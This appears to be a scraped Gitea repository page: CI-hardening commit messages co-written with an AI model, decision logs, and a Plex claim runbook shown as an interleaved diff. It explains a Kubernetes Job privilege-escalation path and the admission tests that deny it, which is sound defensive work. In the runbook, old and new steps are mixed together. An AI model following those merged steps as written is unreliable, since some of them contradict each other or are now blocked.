jakman85andClaude Opus 5 8eb5baffa4 feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
gate / gate (pull_request) Successful in 1m38s
gate / conformance (pull_request) Has been skipped
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).

THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.

Adds:
  * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
    pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
    failed run), no exec, no secrets. Results come back as a tarball on stdout read via
    pods/log, so no execution channel into the runner pod is ever granted.
  * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
    use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
    is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
    the rest of the cluster.
  * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
    like apps-vms, so a test identity can never stall the platform or app tiers.
  * A kyverno test with seven cases, six of them real escalation paths.

VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
  evil-command    DENIED at /spec/template/spec/containers/0/command/   <- THE attack
  evil-image      DENIED at .../image/
  tag-not-digest  DENIED at .../image/          (mutable tag is republishable)
  host-namespaces DENIED at /spec/template/spec/hostPID/
  extra-volume    DENIED by the volumes foreach
  injected-args   DENIED by the args foreach
  good-run        ADMITTED

ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.

IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.

NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.

gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
enable_status_check and required_approvals were set earlier today and recorded as done.
They did not bite. block_admin_merge_override was false, and Gitea lets repo admins
override merge requirements without it. jakman85 holds owner, so both requirements were
bypassable by exactly the account that performs every merge.

The evidence was already on the record: PRs #5-#9 all merged while required_approvals: 1
was in force, with ZERO approvals recorded on any of them.

Two process failures, both the same shape as the defect this whole session started with:

1. Verified with the wrong view. /branches/main reports protected, enable_status_check and
   required_approvals but NOT block_admin_merge_override -- it showed everything green while
   the rule was overridable. /branch_protections/main is authoritative.
2. Probed for a field name assumed to exist. This Gitea (1.24.3) has no `apply_to_admins`;
   asking jq for it returns null, which reads like "set to false" but means "key absent", so
   a PATCH that silently did nothing produced a convincing before/after. jq returning null
   is not a value -- it may be an absence. Enumerate with to_entries.

require-gate.sh now sets block_admin_merge_override: true; block-admin-override.sh fixes it
in isolation. Both carry the field-name warning.

This PR is the test. If it merges WITHOUT an approval, the fix did not work.

Also records the governance question: with only jakman85 (human) and gitea-admin (agent),
a human-authored PR now needs the automation account to approve it. That is ceremony, not
review, and the choice between keeping it, dropping approvals in favour of the status
check, or adding a second human is the operator's to make.

gate / gate (pull_request) Successful in 2m2s
gate / conformance (pull_request) Has been skipped
The branch-protection + PR-gate + sidecar sequence is complete and verified. This records
the finished state and fixes what the sequence itself proved wrong.

CORRECTS A FALSE CLAIM I SHIPPED. PR #7 said the sidecar conversion would remove the
one-per-start dockerd line "http: TLS handshake error from 127.0.0.1: EOF". It does NOT.
Exactly one still appears, immediately after "API listen on [::]:2376" -- it is now the
startupProbe's FIRST attempt, landing microseconds after dockerd begins listening and cut
off by timeoutSeconds: 1; the next poll succeeds. Cosmetic, and deliberately not chased:
raising the timeout to hide one benign startup line would slow every subsequent poll. The
manifest comment now states this instead of the wrong prediction.

Lands infra/gitea/require-gate.sh and verify-then-enforce.sh, which drove the rollout from
a session temp dir. verify-then-enforce.sh merges nothing -- merging is a human's reviewed
act -- but forces the reconcile and ABORTS unless the pod is healthy, a runner is online,
and a real workflow goes green on it, before enabling enforcement and probing the push.
Re-run it after any future act-runner change.

Trims the now-obsolete feat/ rationale from claim-ship.sh: per-branch push triggers were
deleted, so no prefix produces a duplicate run any more.

CLAUDE.md's enforcement table flips from "weaker than this rule" to machine-enforced, with
all four rows marked verified and the push rejection noted as PROVOKED rather than assumed.
It also now states what a green PR does NOT prove: CLUSTER_AVAILABLE is unset, so L2/L3
never runs in CI and only the L0/L1 offline subset is covered.

infra/gitea/README.md marks the sequence done and names the root cause that remains
unfixed: Gitea repo settings live in its own database, invisible to Flux and unreadable by
the conformance gate, so NOTHING detects drift from what this directory declares. These
scripts assert desired state; they are not a detector. The check that reads the live API
and fails on divergence is the highest-value work left, and it is the difference between
this being fixed and this being unable to recur.

README.md also now records that the server is CLAIMED and points at claim-ship.sh with

jakman85andClaude Opus 5 e7508931ca fix(ci): convert dind to a native sidecar; delete both hand-rolled wait loops
gate / gate (push) Successful in 1m34s
gate / gate (pull_request) Successful in 1m35s
gate / conformance (push) Has been skipped
gate / conformance (pull_request) Has been skipped
Executes the FOLLOW-UP that has been carried in this manifest since the readiness fix,
now that k3s is v1.36 and sidecar containers are GA.

dind moves into initContainers as the first entry with restartPolicy: Always -- the one
field that makes an initContainer a sidecar: it starts before the regular containers,
runs alongside them, and is terminated after them. kubelet therefore enforces the
ordering that the runner used to hand-roll, so the runner drops its command: override
and runs the image's own entrypoint.

The startupProbe execs a full TLS-verified `docker ... info`, NOT a tcpSocket probe. A
tcpSocket probe would re-open the exact gap the old Stage 1 existed to close: dockerd
writes the TLS certs and only THEN starts listening, so the port can accept a connection
while the certs are absent, and act_runner hard-exits on a missing
/certs/client/ca.pem. `docker info` proves both that the certs are usable and that the
daemon answers. periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.

It also removes the one-per-start dockerd log line
  http: TLS handshake error from 127.0.0.1: EOF
which was the old `nc -z` probe opening a TCP connection and closing it without a TLS
handshake -- an error we were generating ourselves and then reading in the logs.

SECONDARY WIN: deleting the shell deletes an envsubst hazard. apps-wave-1 runs postBuild
substitution over this ENTIRE manifest, comments included, and those loops depended on
bare dollar-names passing through untouched -- a braced or double-dollar spelling would
have silently unbounded the waits or failed the whole Kustomization. The only dollar left
in the file is the intended ${BASE_DOMAIN}.

LANDS ALONE, DELIBERATELY. This Deployment is the merge gate for the entire repository:
if the conversion is wrong, nothing can merge. Merge this BEFORE enabling the required
status check, and watch a real workflow run green on the converted pod before doing so --
otherwise a bad conversion locks the repo with no way to revert through the gate.

jakman85andClaude Opus 5 bf98a99af6 fix(ci): delete the per-branch push triggers instead of adding feat/** to them
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
The tracked next-step said "align gate.yml's push trigger with this repo's feat/**
prefix". Doing that literally would have made things worse, so this does the opposite.

act_runner runs at capacity 1. A branch push and its PR fire the SAME gate over the SAME
tree, and the redundant run SERIALISES AHEAD of the PR run -- doubling the wall clock on
the one result that gates the merge. Adding another prefix widens that, it does not fix
it. infra/plex/claim-ship.sh currently has to pick a feat/ branch name specifically to
DODGE this, during a loop that is racing a short-lived token.

The prefix list also silently failed to match this repo's own convention: branches here
are feat/**, which was absent, so the "fast feedback" never fired for the most common
prefix. Nobody noticed for a month because the only symptom of a wrong entry is a MISSING
run. Any hand-maintained prefix list has that failure mode. Deleting the list removes the
whole class rather than correcting one entry.

It was redundant anyway: CLAUDE.md already requires ./ci/gate.sh in the pinned toolbox
before pushing (74s locally), and the PR gate re-runs it authoritatively.

push: [main] is KEPT -- post-merge main must still be verified, and it is the only run for
which no PR context exists.

FOLLOW-UP once this and #5 are both merged: the feat/ rationale in
infra/plex/claim-ship.sh becomes obsolete and its comment should be trimmed. The script
keeps working either way.

jakman85andClaude Opus 5 8e017fad91 docs(runbooks): the PR flow, not git push origin main -- that instruction is now blocked
gate / gate (pull_request) Successful in 1m34s
gate / gate (push) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
gate / conformance (push) Has been skipped
main became a protected branch on 2026-09-29, so the direct push that 37 of 39 runbooks
instructed is REJECTED. The wording was merely stale before; it is now actively wrong,
and it is the line an operator reads mid-incident.

Every occurrence now describes the real path: push a branch, open a PR, merge once the
gate is green -- that merge is the deploy. 35 files shared one identical block;
flux-reconcile.md, README.md and plex-claim.md each said it their own way and were
corrected individually.

plex-claim.md is rewritten around the delivery loop and records that THE SERVER IS NOW
CLAIMED (PlexOnlineToken present in /config), so PLEX_CLAIM is a permanent no-op and the
page only applies after a /config wipe.

Adds infra/plex/claim-ship.sh, which drives branch -> commit -> push -> PR -> gate ->
merge -> reconcile -> pod roll -> verdict with a stopwatch. Three steps are easy to lose
under time pressure and two are SILENT when skipped: --with-source (without it the
Kustomization applies the previously-fetched revision), the mandatory rollout restart
(only the ciphertext changes, so the pod template is byte-identical and nothing restarts
itself), and the feat/ branch prefix (act_runner capacity is 1, and a prefix inside
gate.yml's push trigger fires a redundant run that serialises ahead of the PR run).

Drops the "~4-minute TTL" the page asserted in four places. It was uncited, and upstream
pms-docker documents no expiry at all. The countdown on plex.tv/claim is the authority.
Measured loop: ~2m45s.

DECISIONS-LOG carries the PM handoff: both halves of the 2026-08-31 CI claim were false,
the stale-.runner root cause, the four-deep Flux dependency cascade, and the correction
that a skipped Gitea job reports success rather than hanging.

So nothing mechanically stops you from pushing to `main` right now. **That is a gap
being closed, not permission.** `DECISIONS-LOG.md` (2026-08-31) claimed the gate was a
"required status check" with a runner online; neither was true, which is how this went
unnoticed for a month. The runner half is now genuinely fixed and observed green. The
protection half is not — see `infra/gitea/`.
All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
true. They are true now because each was measured, and the push rejection was provoked rather
than assumed. **Re-measure before relying on any of them** — see §2b.
Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in

## 2026-09-29 — Plex is claimed; the CI/CD gate that "enforced" it never existed. **PM HANDOFF.**
Began as "inject a plex.tv claim token". Ended by discovering the delivery pipeline was fiction,
rebuilding it, and shipping the token through it. Plex is **claimed** — `PlexOnlineToken` is
present in `/config` on the `plex-config` PVC, so the exchange is now a permanent no-op and the
library scan is running over the 8.33T NFS share.
### The finding: both halves of the 2026-08-31 CI claim were false
That entry recorded "Gitea Actions CI is LIVE + enforcing … required status check; runner
`incluster-dind` online". Measured against the live API on 2026-09-29:
| Claimed | Measured |
|---|---|
| `main` protected, gate required | `branch_protections` → `[]`; `protected:false`, `enable_status_check:false`, `required_approvals:0`, `user_can_push:true` |
| Runner online | **zero** runners at repo, org AND site level |
**PR #1 was the first pull request this repository has ever had.** Its contexts sat `pending`
for 30.6 minutes across 122 polls and never reported. For a month, every "the gate enforces this"
statement rested on an assertion nobody had checked — the same fail-open class as 2026-09-18,
and the reason it hid so long is that the log itself was the evidence.
### Root cause of the dead runner
`act_runner` registers **once** and persists its identity in `/data/.runner` on the
`act-runner-data` PVC. Gitea no longer held a matching row, so the pod booted, saw `.runner`,
**skipped registration**, and polled with an identity Gitea did not recognise. Symptom: zero
runners, pod Running, nothing crashlooping, no error anyone reads. Deleting the PVC forced a
genuine re-registration (`.runner is missing` → `Runner registered successfully`).
It then did not come back for several minutes, because Flux could not recreate the PVC:
`apps-wave-1` was blocked four levels deep on a **stale** `DependencyNotReady` for
`platform-config`, which itself read `Ready=True`. Each wave re-evaluates only on its own
`interval: 10m`, so a resource deleted at the bottom of the chain can take ~40 min to return.
**Force it** with `flux reconcile kustomization apps-wave-1 --with-source` rather than waiting.
### Corrections to things this log and the runbooks asserted
- **A skipped Gitea job reports `success`, not pending.** Measured: `gate / conformance` returned
`success` / "Has been skipped". An earlier entry (#2) said requiring it would deadlock every PR.
Wrong — it would pass **vacuously**, forever, while nothing ran. Under HARD RULE 4 that is worse
than a deadlock, because a deadlock is loud. Never require it; require
`gate / gate (pull_request)` alone. Corrected in #3.
- **`gate.yml`'s push trigger omits `feat/**`** (it lists `feature/** fix/** docs/** chore/**`).
With `act_runner` capacity 1, a branch prefix that IS in that list fires a second redundant run
which serialises ahead of the PR run and doubles wall-clock. Exploited deliberately in
`infra/plex/claim-ship.sh`; the honest fix is to align the trigger list.
- **The "~4-minute TTL"** asserted in four places was **uncited**, and upstream `pms-docker`
documents no expiry at all. The authoritative reading is the countdown plex.tv/claim renders at
issue time. Removed from `runbooks/plex-claim.md`; the same claim still sits in
`catalog/plex.yaml` and the Secret's header comment (left alone — editing a `.sops.yaml`
comment risks the MAC, and touching `catalog/plex.yaml` re-renders a golden).
### Measured, once the pipeline actually worked
`gate / gate (pull_request)` 1m34s–1m58s. Full claim loop end to end **~2m45s** — comfortably
inside the window, which retires the theory that a short-lived token cannot survive a PR flow.
That theory was mine and it was wrong: the pipeline was never too slow, it simply did not exist.
### State now
- `main` **protected**, `user_can_push:false`. Runner `incluster-dind` online.
- `CLAUDE.md` is the agent delivery contract; `infra/gitea/` holds the protection + runner scripts.
- **All 37 runbooks** that instructed `git push origin main` now describe the PR flow — that
instruction had become actively blocked, not merely stale.
- `infra/plex/claim-ship.sh` drives the claim loop end to end.
### Next steps
1. **`enable_status_check: true`** with `gate / gate (pull_request)` as the only context. The
prerequisite is met: the gate has been observed green on real PRs.
2. Add `jakman85` as a repo **collaborator**, then `required_approvals: 1`. (Currently the only
org member is `gitea-admin`, which agents authenticate as — requiring approval before that is
fixed would leave nobody able to approve.)
3. Run the **push probe** against protection: `gitea-admin` is a site admin and Gitea may let it
bypass. `user_can_push:false` is the API's opinion, not proof.
4. Align `gate.yml`'s push trigger with this repo's `feat/**` prefix.
5. Convert the `dind` container to a **native sidecar** with a `startupProbe`, per the standing
FOLLOW-UP note in `apps/wave-1/gitea-actions.yaml`. It deletes both hand-rolled wait loops and
the envsubst hazard. Land it ALONE — it is the merge gate for the whole repo.
6. Create the Plex libraries over `/media/movies`, `/media/tv`, `/media/photos`.
## 2026-09-29 (later) — the merge gate is now real, enforced, and proven. **PM HANDOFF.**
Closes the gap opened by the earlier entry today. Eight PRs, all gated; every claim below was
measured against the live API or cluster, not inferred from this repository.
### Final state
| | Verified |
|---|---|
| `main` protected | `protected:true`, `user_can_push:false` — and a direct push as site-admin `gitea-admin` was **provoked and rejected** (`pre-receive hook declined`) |
| Gate required | `enable_status_check:true`, contexts `["gate / gate (pull_request)"]` |
| Approvals | `required_approvals:1`; `jakman85` holds `owner` |
| Runner | `incluster-dind` online, now a **native sidecar** (`initContainers`, `restartPolicy: Always`, TLS-verified `docker info` startupProbe) |
| Gate time | ~1m35s |
| Plex | claimed 2026-09-29; `PlexOnlineToken` present on the `plex-config` PVC |
### What was corrected in the documentation
`CLAUDE.md` §2b — *never infer platform state from this repository* — is the durable outcome.
The 2026-08-31 entry asserting an enforced gate is now annotated **in place**. The "Phase 0 /
no cluster exists" framing across `ci/`, `clusters/` and `conformance/` READMEs is banner-marked
as describing a live gap rather than a stage. All 37 runbooks now describe the PR flow. Two
`.sops.yaml` headers and `catalog/plex.yaml` were corrected (comment edits verified not to break
the SOPS MAC, and not to move the rendered golden).
### A claim of mine that shipped wrong, and is now corrected in place
PR #7 stated the sidecar conversion would remove the one-per-start dockerd line
`http: TLS handshake error from 127.0.0.1: EOF`. **It does not.** Exactly one still appears,
immediately after `API listen on [::]:2376` — it is now the startupProbe's first attempt,
landing microseconds after dockerd begins listening and cut off by `timeoutSeconds: 1`; the
next poll succeeds. Cosmetic, and deliberately not chased: raising the timeout to hide one
benign startup line would slow every subsequent poll. The manifest comment now says so.
### The root cause nobody has fixed yet
Gitea's repo settings live in its own database — invisible to Flux and unreadable by the
conformance gate. **No check exists that could have caught "protection off, runner gone."**
`infra/gitea/` declares and can re-assert the desired state, but it is not a detector. A
conformance check that reads the live Gitea API and fails on divergence is the highest-value
remaining work in this repo, and it is the difference between this having been fixed and this
being unable to recur.
### Next steps
1. **Write that Gitea-settings conformance check.** Everything else here is a symptom.
2. Wire `vars.CLUSTER_AVAILABLE` + `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` so **L2/L3 runs in
CI**. A green PR currently proves the L0/L1 offline subset only — runtime behaviour is
unverified on every merge.
3. Re-run `infra/gitea/verify-then-enforce.sh` after any future act-runner change.
4. `required_approvals: 1` means a PR you open as `jakman85` needs `gitea-admin` to approve.
If that friction bites, either open agent work as `gitea-admin` and review as `jakman85`, or
drop back to relying on the status check alone.
## 2026-09-29 (later still) — the enforcement we "turned on" was overridable by the account that merges
`enable_status_check: true` and `required_approvals: 1` were set earlier today and recorded as
done. **They did not bite.** `block_admin_merge_override` was `false`, and Gitea lets repository
admins override merge requirements without it. `jakman85` holds `owner`, so both requirements
were bypassable by exactly the account that performs every merge.
**The evidence was already on the record and nobody read it:** PRs #5, #6, #7, #8 and #9 all
merged while `required_approvals: 1` was in force, with **zero approvals recorded on any of
them**. A one-line check (`/pulls/{n}/reviews`) would have shown it at any point.
Two process failures, both mine, both the same shape as the original defect:
1. **I verified with the wrong view.** `/branches/main` reports `protected`,
`enable_status_check` and `required_approvals` but NOT `block_admin_merge_override`. It
showed everything green while the rule was overridable. The authoritative object is
`/branch_protections/main` — read it and enumerate its keys.
2. **I probed for a field name I assumed existed.** This Gitea (1.24.3) has no
`apply_to_admins`. Asking `jq` for it returns `null`, which reads exactly like "set to
false" but means "key absent" — so a PATCH that silently did nothing looked like a real
before/after. **`jq` returning null is not a value; it may be an absence.** Enumerate with
`to_entries`.
Now `block_admin_merge_override: true`, applied and read back. `infra/gitea/require-gate.sh`
sets it, and `infra/gitea/block-admin-override.sh` fixes it in isolation.
**This is still only a setting.** It is proven when a green PR is REFUSED a merge until
approved — and that has not been observed yet. This PR is the test: if it merges without an
approval, the fix did not work and the finding stands.
### The governance question this exposes
There are two accounts: `jakman85` (owner, the human) and `gitea-admin` (the agent). With
approvals now genuinely required, an agent-authored PR is approved by the human — which is the
intent. But a PR authored by `jakman85` needs `gitea-admin` to approve it, i.e. the automation
account rubber-stamping the human. That is ceremony, not review. Options: keep it and accept
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
that actually verifies something; or add a second human account. **This is a decision for the
operator, not a default to be chosen silently.**

# Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
# and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
# - A bare $name is NOT a reference to envsubst: it passes through untouched, and
# that holds even when the name IS set in cluster-vars. So $i and $j reach the
# cluster verbatim and both 60s bounds below are real, enforced bounds.
# - $((i + 1)) is likewise untouched: "(" cannot begin a variable name.
# - A BRACED dollar-name IS a reference and gets replaced — with the empty string
# when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
# which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
# - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
# form — still wrong for us, because on any path where envsubst does NOT run
# (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
# reads that leading double-dollar as its own PID, so a bound would compare a
# string like 1234{i} against 60. The bare form is the only spelling that is
# correct on BOTH paths.
# - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
# name") that fails this whole Kustomization — and this Kustomization gates every
# merge in the repo. So never write one anywhere in this file, INCLUDING in a
# comment. That is why this note names the three forms in words rather than
# showing them: an earlier draft of it spelled them out literally and broke

looks at. Clearing the PVC is what forces a real re-registration; the script prints the

## Sequence — order matters
## Sequence — DONE 2026-09-29
All four steps are complete and each was verified, not assumed:
| Step | State |
|---|---|
| 1. Runner registered | ✅ `incluster-dind` online. Root cause of its absence was a stale `/data/.runner` identity; clearing the PVC forced re-registration |
| 2. Gate observed green on a real PR | ✅ `gate / gate (pull_request)` ~1m35s |
| 3. `enable_status_check: true` | ✅ context `gate / gate (pull_request)` — that one ONLY |
| 4. Collaborator + approvals | ✅ `jakman85` is owner; `required_approvals: 1` |
Direct push to `main` was **provoked and rejected** (`pre-receive hook declined`) as
`gitea-admin`, a site admin — so push protection is not merely declared, it holds for the
account agents authenticate as.
### 5. Block the admin override — the step the first pass MISSED
`enable_status_check` and `required_approvals` were set on 2026-09-29 and **still did not
bite**, because `block_admin_merge_override` was `false`. Gitea lets repo admins override
merge requirements without it, and `jakman85` holds `owner` — so the two settings that looked
like the gate were overridable by precisely the account that merges.
**The evidence was sitting in plain sight:** PRs #5 through #9 all merged with
`required_approvals: 1` in force and **zero approvals recorded on any of them**. Checking the
*branch* view (`/branches/main`) hid this — it does not expose the field. Read the rule object
(`/branch_protections/main`) and enumerate its keys.

Now `block_admin_merge_override: true`. **That is still only a setting, not evidence** — it is
proven when a green PR is REFUSED a merge until approved, and not before.
### `require-gate.sh` / `verify-then-enforce.sh`
`verify-then-enforce.sh` is the re-runnable form of the whole safe order. It merges nothing —
merging is a human's reviewed act — but it forces the Flux reconcile and then **aborts** unless
the runner pod is healthy, a runner is online, and a real workflow goes green on it, before
enabling enforcement and probing the push. `require-gate.sh` is the enforcement step alone.
Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
### Why these scripts exist at all, and what is still missing
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
conformance gate can read. Nothing detects drift from what this directory declares. That is
the root cause of the entire 2026-09-29 session: branch protection was off and the runner was
gone for a month while the log recorded both as working, and **no check existed that could
have caught it.**
These scripts encode the desired state and can re-assert it, but they are not a detector. The
durable fix is a conformance check that reads the live Gitea API and fails when it diverges
from what is declared here — turning a class of silent, invisible failure into a loud one.
**That check does not exist yet and is the highest-value remaining work in this directory.**
## Historical sequence (kept for context)
### Original ordering notes
1. **Get an Actions runner registered** — `runner-token-rotate.sh`, then clear the PVC so
the runner actually re-registers, then confirm it shows `online` in the API. Do not

NOW PROVE IT -- the setting is not the evidence. On the next PR:
* let the gate go green, then try to merge WITHOUT approving it.
* Gitea must REFUSE. If it merges, this still is not doing its job.
Do not record approvals as enforced until you have seen a merge refused.

## The 4-minute procedure
## The procedure
Have this page open and do not stop between steps.
> **STATUS: this server was CLAIMED on 2026-09-29** and `PlexOnlineToken` is present in
> `/config` on the `plex-config` PVC. The upstream exchange is gated on that pref being
> *absent*, so `PLEX_CLAIM` is now a **no-op on every start** whatever it holds. You only need
> this page again after a `/config` wipe or a rebuild onto an empty PVC.
**On the clock.** The token is short-lived — **read the countdown that plex.tv/claim shows you**
rather than trusting a number written here. (Earlier revisions of this page asserted a "~4-minute
TTL" in four places with no citation; upstream `pms-docker` documents no expiry at all. The page
is the only authority, and it is on screen at T+0.)
**A burnt token costs nothing.** An expired token gets a 403 with an empty body, `curl`'s status is
never checked, the `if` does not fire, there is no `else` and no `exit 1`, and the script (no
`set -e`) exits 0. The pod comes up unclaimed and serving. So retry freely.
### One command
1. **T+0 — get the token.** Sign in to plex.tv as the account that should OWN this server, open
<https://plex.tv/claim>, copy the `claim-…` string. The clock starts now.
<https://plex.tv/claim>, copy the `claim-…` string.
2. **T+0:15 — put it in the Secret**, in place, encrypted, without it ever touching a plaintext file:
2. **Put it in the Secret** — in place, encrypted, never touching a plaintext file:
```
infra/devcontainer/dev.sh run sops apps/wave-0/plex-claim-secret.sops.yaml
```
Replace the `PLEX_CLAIM:` value (the placeholder `replace-me-with-a-fresh-plex-tv-claim-token`, or
a previous expired token) and save. `sops` re-encrypts on write to the committed age recipient.
3. **T+0:45 — commit and push.** `git push origin main` **is** the deploy; there is no other apply
step.
3. **Ship it.** This drives the whole delivery loop and prints a running stopwatch:
```
git add apps/wave-0/plex-claim-secret.sops.yaml
git commit -m 'chore(plex): fresh plex.tv claim token'
git push origin main
./infra/plex/claim-ship.sh
```
4. **T+1:00 — force the reconcile immediately. This is the one command that saves the window** — it
pulls the new commit and re-applies wave 0 instead of waiting up to 10 minutes for the interval:
branch → commit → push → PR → gate → merge → `flux reconcile --with-source` → `rollout restart`
→ verdict. It refuses to run if the file is unchanged or not encrypted.
```
infra/devcontainer/dev.sh run bash -c \
'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
```
**Measured end to end, 2026-09-29: ~2m45s.** Gate ~1m40s, merge + reconcile ~25s, pod roll and
container start ~30s.
`--with-source` is the load-bearing flag: it reconciles the `flux-system` GitRepository first, so
the Kustomization applies **your commit** and not the previously-fetched revision.
### Why it is a script and not six pasted commands
5. **T+1:30 — roll the pod.** This step is **mandatory and easy to forget**: a changed Secret does
**not** restart anything. `PLEX_CLAIM` is injected by `secretKeyRef` and read only at container
start, and the Deployment's pod template is byte-identical across this change, so Flux applies the
new Secret and the running pod keeps the old value forever.
`main` is a **protected branch** — the direct push this page used to instruct is now rejected — so
the deploy is a PR merged after a green gate. Three of those steps are easy to get wrong under time
pressure, and two are silent when skipped:
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex rollout restart deployment/plex'
```
- **`--with-source` is load-bearing.** Without it the Kustomization applies the previously-fetched
revision, not your commit.
- **The pod roll is mandatory.** Only the Secret's ciphertext changes, so the Deployment's pod
template is byte-identical and *nothing restarts on its own*. `PLEX_CLAIM` is read once, at
container start. Skip this and the new Secret sits in the cluster while the running pod keeps the
old value forever.
- **The branch is named `feat/…` on purpose.** `act_runner` capacity is 1, and `gate.yml`'s push
trigger covers `feature/** fix/** docs/** chore/**` but *not* `feat/**`. A `chore/` branch fires a
second redundant run that serialises ahead of the PR run and roughly doubles the wall clock.
6. **T+2:00 — confirm the exchange happened**, in the new pod's init log:
### Reading the verdict
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex logs deploy/plex --since=5m | grep -i -e claim -e token'
```
* `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
* `Attempting…` with **no** success line ⇒ the token was expired or invalid. Nothing is broken; go
back to step 1 with a new one.
* **Neither line** ⇒ the exchange was skipped: `/config` already had a `PlexOnlineToken` (already
claimed — the expected case now), or the env did not reach the container. Check by NAME only:
* `Attempting to obtain server token from claim token` **and** `Token obtained successfully`
⇒ **claimed.** Re-run the First-commands `PlexOnlineToken=` check to confirm it persisted, then
create the libraries over `/media/movies`, `/media/tv`, `/media/photos`.
* `Attempting to obtain server token from claim token` with **no** success line ⇒ the token was
expired or invalid. Nothing is broken; go back to step 1 with a new token.
* **Neither line** ⇒ the exchange was skipped, which means `/config` already had a
`PlexOnlineToken` (already claimed) or the env did not reach the container. Check the pod actually
has the variable, by NAME only:
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
-o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
```
```
infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex \
-o jsonpath="{.items[0].spec.containers[0].env[*].name}"'
```
## Likely causes, most likely first
When the claim does not take, in order of how often it is the answer here:
1. **The token expired** — you spent more than ~4 minutes, usually in step 3 or waiting on step 4.
Symptom: the "Attempting…" line with no success line. Remedy: a new token, and force the reconcile
rather than waiting for it.
1. **The token expired** — you exceeded the countdown, usually by reviewing the PR instead of
merging it the moment the gate went green. Symptom: the "Attempting…" line with no success line.
Remedy: a new token, and let `claim-ship.sh` drive the loop rather than pasting steps.
2. **The pod was never restarted** (step 5 skipped). Symptom: no claim log lines at all from a pod
whose `AGE` predates your push. The Secret is correct in git and in the cluster and the running
container still holds the placeholder.
